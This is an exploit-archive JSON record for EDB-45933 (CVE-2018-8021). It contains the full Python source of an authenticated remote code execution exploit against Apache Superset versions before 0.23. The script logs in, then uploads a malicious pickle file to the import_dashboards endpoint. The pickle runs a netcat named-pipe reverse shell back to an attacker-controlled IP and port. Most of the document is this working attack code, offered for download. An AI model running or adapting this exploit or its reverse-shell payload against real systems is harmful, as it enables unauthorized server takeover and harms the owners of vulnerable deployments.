{"exploit":{"id":"EDB-45933","name":"Apache Superset < 0.23 - 'import_dashboards' Authenticated Remote Code Execution (RCE)","description":"Apache Superset < 0.23 - 'import_dashboards' Authenticated Remote Code Execution (RCE)","cves":["CVE-2018-8021"],"author":"David May","published":"2018-12-03","platform":"linux","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/45933","path":"exploits/linux/webapps/45933.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-45933.py","vulnerabilities":[{"id":"CVE-2018-8021","state":"PUBLISHED","title":null,"titleSource":null,"description":"Versions of Superset prior to 0.23 used an unsafe load method from the pickle library to deserialize data leading to possible remote code execution. Note Superset 0.23 was released prior to any Superset release under the Apache Software Foundation.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-8021","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-8021"},"updatedAt":"2024-08-05T06:46:11.477Z","retrievedAt":"2026-11-27T05:09:47.700Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-45933.png?v=2","url":"https://exploitbin.com/exploits/EDB-45933","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-45933/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-45933/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python\n# Exploit Title: Apache Superset < 0.23 - Remote Code Execution\n# Date: 2018-05-17\n# Exploit Author: David May (david.may@semanticbits.com)\n# Vendor Homepage: https://superset.apache.org/\n# Software Link: https://github.com/apache/incubator-superset\n# Version: Any before 0.23\n# Tested on: Ubuntu 18.04\n# CVE-ID: CVE-2018-8021\n\n# I originally disclosed this to the Apache Superset team back in May, and the fix had already been\n# in place, but not backported. As far as I know, this is the first weaponized exploit for this CVE.\n\n\nimport sys\nimport os\nfrom lxml import html\nimport requests\n\n# Change these values to your TCP listener\nmyIP = '192.168.137.129'\nmyPort = '8888'\n# Credentials must belong to user with 'can Import Dashboards on Superset' privilege\nusername = 'test'\npassword = 'test'\n\n# Logic in case script arguments are not given\nif len(sys.argv) < 3:\n\tprint('Verify you have started a TCP listener on the specified IP and Port to receive the reverse shell...')\n\tprint('Script Usage:')\n\tprint('./supersetrce.py <superset server ip> <superset port>')\n\tsys.exit()\n\nelse:\n\t# Script arguments\n\tsupersetIP = sys.argv[1]\n\tsupersetPort = sys.argv[2]\n\t# Verify these URLs match your environment\n\tlogin_URL = 'http://' + supersetIP + ':' + supersetPort + '/login/'\n\tupload_URL = 'http://' + supersetIP + ':' + supersetPort + '/superset/import_dashboards'\n\n\t# Checks to see if file that we are going to write already exists in case this is run more than once\n\tif os.path.isfile('evil.pickle'):\n\t\tos.remove('evil.pickle')\n\n\t# Headers that we append to our POST requests\n\theaders_dict = {\n\t\t'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',\n\t\t'DNT': '1',\n\t\t'Connection': 'close',\n\t\t'Upgrade-Insecure-Requests': '1',\n\t}\n\n\t# Creates evil pickle file and writes the reverse shell to it\n\tevilPickle = open('evil.pickle','w+')\n\tevilPickle.write('cos\\nsystem\\n(S\\'rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc ' + myIP + ' ' + myPort + ' 1>/tmp/backpipe\\'\\ntR.')\n\tevilPickle.close()\n\n\t# Start a session so we have persistent cookies\n\tsession = requests.session()\n\n\t# Grabs the Login page to parse it for its CSRF token\n\tlogin_page = session.get(login_URL)\n\tif login_page.status_code != 200:\n\t\tprint('Login page not reached, verify URLs in script')\n\tlogin_tree = html.fromstring(login_page.content)\n\tcsrf_token = login_tree.xpath('//input[@id=\"csrf_token\"]/@value')\n\n\t# Form data that is sent in the POST request to Login page\n\tlogin_data = {\n\t\t'csrf_token' : csrf_token,\n\t\t'username' : username,\n\t\t'password' : password,\n\t}\n\n\t# Adds the Referer header for the login page\n\theaders_dict['Referer'] = login_URL\n\n\t# Logon action\n\tlogin = session.post(login_URL, headers=headers_dict, data=login_data)\n\n\t# Grabs the Upload page to parse it for its CSRF token\n\tupload_page = session.get(upload_URL)\n\tif upload_page.status_code != 200:\n\t\tprint('Upload page not reached, verify credentials and URLs in script')\n\tupload_tree = html.fromstring(upload_page.content)\n\tcsrf_token = upload_tree.xpath('//input[@id=\"csrf_token\"]/@value')\n\n\t# Adds the Referer header for the Upload page\n\theaders_dict['Referer'] = upload_URL\n\n\t# Upload action\n\tupload = session.post(upload_URL, headers=headers_dict, data={'csrf_token':csrf_token}, files={'file':('evil.pickle',open('evil.pickle','rb'),'application/octet-stream')})\n\n\t# Closes the session\n\tsession.close()\n\tsys.exit()","sha256":"606d2c0418340cee72141809e94faf49ffd6ac8c06bffdaa99b60e791a04fe2f","bytes":3427,"fetchedAt":"2026-11-27T05:09:43.503Z","encoding":"utf-8 (display only; download retains original bytes)"}